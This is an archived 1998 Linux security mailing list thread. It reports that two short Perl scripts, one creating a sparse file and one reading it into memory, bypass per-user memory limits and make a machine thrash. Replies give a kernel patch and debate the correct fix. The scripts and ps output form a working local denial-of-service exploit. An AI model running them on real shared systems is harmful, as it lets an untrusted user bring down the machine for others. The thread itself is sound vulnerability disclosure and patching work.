Any user with shell access, or with access to upload a cgi script can exploit this to make machine thrash badly. Seems to circumvent any limits in the kernel Here are my settings dlai@whale.home.org:/home/dlai?limit cputime unlimited filesize 20000 kbytes datasize 8192 kbytes stacksize 8192 kbytes coredumpsize 1000000 kbytes memoryuse 8192 kbytes descriptors 1024 memorylocked 8192 kbytes maxproc 256 Create a file with a huge hole (can be 4Gb if needed): [mod: 2Gb on linux. :-( -- REW] #!/usr/bin/perl system("touch xxx"); open(XXX,"+<xxx"); seek(XXX,90000000,0); print XXX "A B C\n"; truncate (XXX, 4294967295); close(XXX); This one creates a file size 90Megs, but its really sparse. "limit filesize" has no effect, this operation succeeds. Understandable since the file really only occupies a few blocks on the disk. Next, create a script that reads the file: #!/usr/bin/perl open(XXX,"<xxx"); @abc=<XXX>; print "read\n"; exit; Run it, it will circumvent any limit settings on datasize, stacksize, memoryuse, memorylocked. It really allocates 90Mb and uses it even though my limits are set at 8Mb. ps shows: 6460 dlai 12 0 53608 8156 72 D 0 34.2 43.4 1:14 readx.pl (I killed it before it ate all my swap - machine was thrashing badly at this point). And another note, on IRIX, the [create file] script fails to run ; kernel detects limit for filesize exceeded: ? x.pl File size limit exceeded (core dumped) [mod: Postscriptum in separate message merged by moderator.... Verified on a 2.0 system -- REW]
On Sat, Nov 21, 1998 at 01:18:31PM -0800, David Lai wrote:> Any user with shell access, or with access to upload a cgi > script can exploit this to make machine thrash badly.> #!/usr/bin/perl > open(XXX,"<xxx"); > @abc=<XXX>; > print "read\n"; > exit;/dev/zero works as well. When reading the data in, perl uses mremap() to seize more memory. Unfortunately, the resource check in sys_mremap() uses RLIMIT_AS; my shell doesn't appear to set that. (Apparently, yours doesn't either.) I'm using the default /bin/bash that comes with RH 5.1; the problem could be there. On the other hand, it could be a kernel thing, and I certainly want it solved immediately. So I did: the following patch adds a check for RLIMIT_DATA in sys_mremap(), which appears to foil this exploit. (YMMV, if it breaks, you get to keep both pieces, etc.) While the patch seems to deter the problem pointed out with your perl script, but there could be similar problems lurking in linux/mm -- or it could be our shells setting the wrong setrlimit() field. --- linux/mm/mremap.c 1998/11/24 10:33:53 1.1 +++ linux/mm/mremap.c 1998/11/24 11:53:42 @@ -165,6 +165,7 @@ unsigned long flags) { struct vm_area_struct *vma; + unsigned long check_len; if (addr & ~PAGE_MASK) return -EINVAL; @@ -195,8 +196,9 @@ if (locked > current->rlim[RLIMIT_MEMLOCK].rlim_cur) return -EAGAIN; } - if ((current->mm->total_vm << PAGE_SHIFT) + (new_len - old_len) - > current->rlim[RLIMIT_AS].rlim_cur) + check_len = (current->mm->total_vm << PAGE_SHIFT) +(new_len - old_len); + if (check_len > current->rlim[RLIMIT_AS].rlim_cur || + check_len > current->rlim[RLIMIT_DATA].rlim_cur) return -ENOMEM; /* Private writable mapping? Check memory availability.. */ if ((vma->vm_flags & (VM_SHARED | VM_WRITE)) == VM_WRITE) { -Scott Doty
Rogier Wolff
1998-Nov-24 23:11 UTC
[linux-security] Re: simple perl script bypasses limits
Scott Doty wrote:> Regarding that patch to sys_mremap()... > > I sent it to Alan Cox, who suggested some extra checks: > * RLIM_INFINITY (as in sys_brk) > * same check in do_mmap() > > Thinking that over, it also appears shm_map() may need the same > treatment, and maybe the do_mmap() check needs to make sure it > applies only to real RAM (not mmap'ed files). > > However, it seems easier to just copy the RLIMIT_DATA field to > RLIMIT_AS as an interim fix. Dean indirectly pointed that > out... > > On Tue, Nov 24, 1998 at 08:49:52AM -0800, Dean Gaudet wrote:> > Both the current situation (which has been noted a dozen times on > > linux-kernel), and your patch violate the single unix spec. Single > > Unix specifies that RLIMIT_DATA affects malloc, sbrk, brk; and > > RLIMIT_AS affects those plus mmap and automatic stack growth. Linux > > libc uses mmap() to acquire memory for malloc -- which is arguably > > where the bug is, but it's a nice feature.I'd like to interpret the spec as saying that brk and sbrk are affected RLIMIT_DATA, and that "mmap" is counted into RLIMIT_AS. The remark about "malloc" could be taken as "normally, malloc implementations would use brk, so it should be counted under RLIMIT_DATA". However, I don't know if the spec would allow this interpretation.> > The correct fix is to add a non-standard mmap() > > flag which indicates that the request should be applied against the > > RLIMIT_DATA limit in addition to the RLIMIT_AS limit. That way folks > > expecting the Single Unix behaviour of mmap() vs. RLIMIT_DATA will > > get it. > > > bash-2.0 supports RLIMIT_AS. > > The problem: most shells don't appear to support it, and I daresay > most Linux systems, with untrusted users, allow the user to select > a shell. > > I suppose you could make sure login, sshd, httpd, etc. set the > RLIMIT_AS properly, but it's easier to make it work in the kernel.But as you have the sources, it would be best if you just went along and fixed the applications that need fixing. If your patches are clean, they will be incorporated into the standard versions, and then the world is a better place....> > Linux libc uses mmap() to acquire memory for > > malloc -- which is arguably where the bug is, > > I personally don't care where the bug is, I simply want to correct > an insecure situation. Or, if you prefer, I want to correct > deficiencies in the shells, libraries, etc. by heading off the > weird behavior at the choke point.Sometimes, the easiest way to fix things is not the right way to fix it. That's true this time. Linus, correctly holds the opinion that you'd rather fix things once and for all.> > Both the current situation (which has been noted a dozen times on > > linux-kernel), and your patch violate the single unix spec. > > We run production Linux systems with untrusted users. I'm sure > there's more than one of those users who would cackle with glee at > the opportunity to kill our systems. Without some action, those > systems would be dead in a matter of days, perhaps hours. > > I doubt if the rest of our users would care much that our > dead systems adhered to the single unix spec. > > > Oh and I think it's a pretty dumb part of the spec too... but specs > > are specs. > > Specs are useless on dead systems. I think the priorities should > be "Secure, Reliable, Rapid" -- in that order. > > -Scott > p.s. And I sure wish vger's listserv would talk to me -- is there something > wrong with it? >-- My pet light bulb is a year old today. \_________ R.E.Wolff@BitWizard.nl That's 5.9*10^12 miles. Your mileage will NOT vary.\__Phone: +31-15-2137555 --(time <-> distance can be converted: lightspeed)-- \____ fax: ..-2138217 We write Linux device drivers for any device you may have! \_______________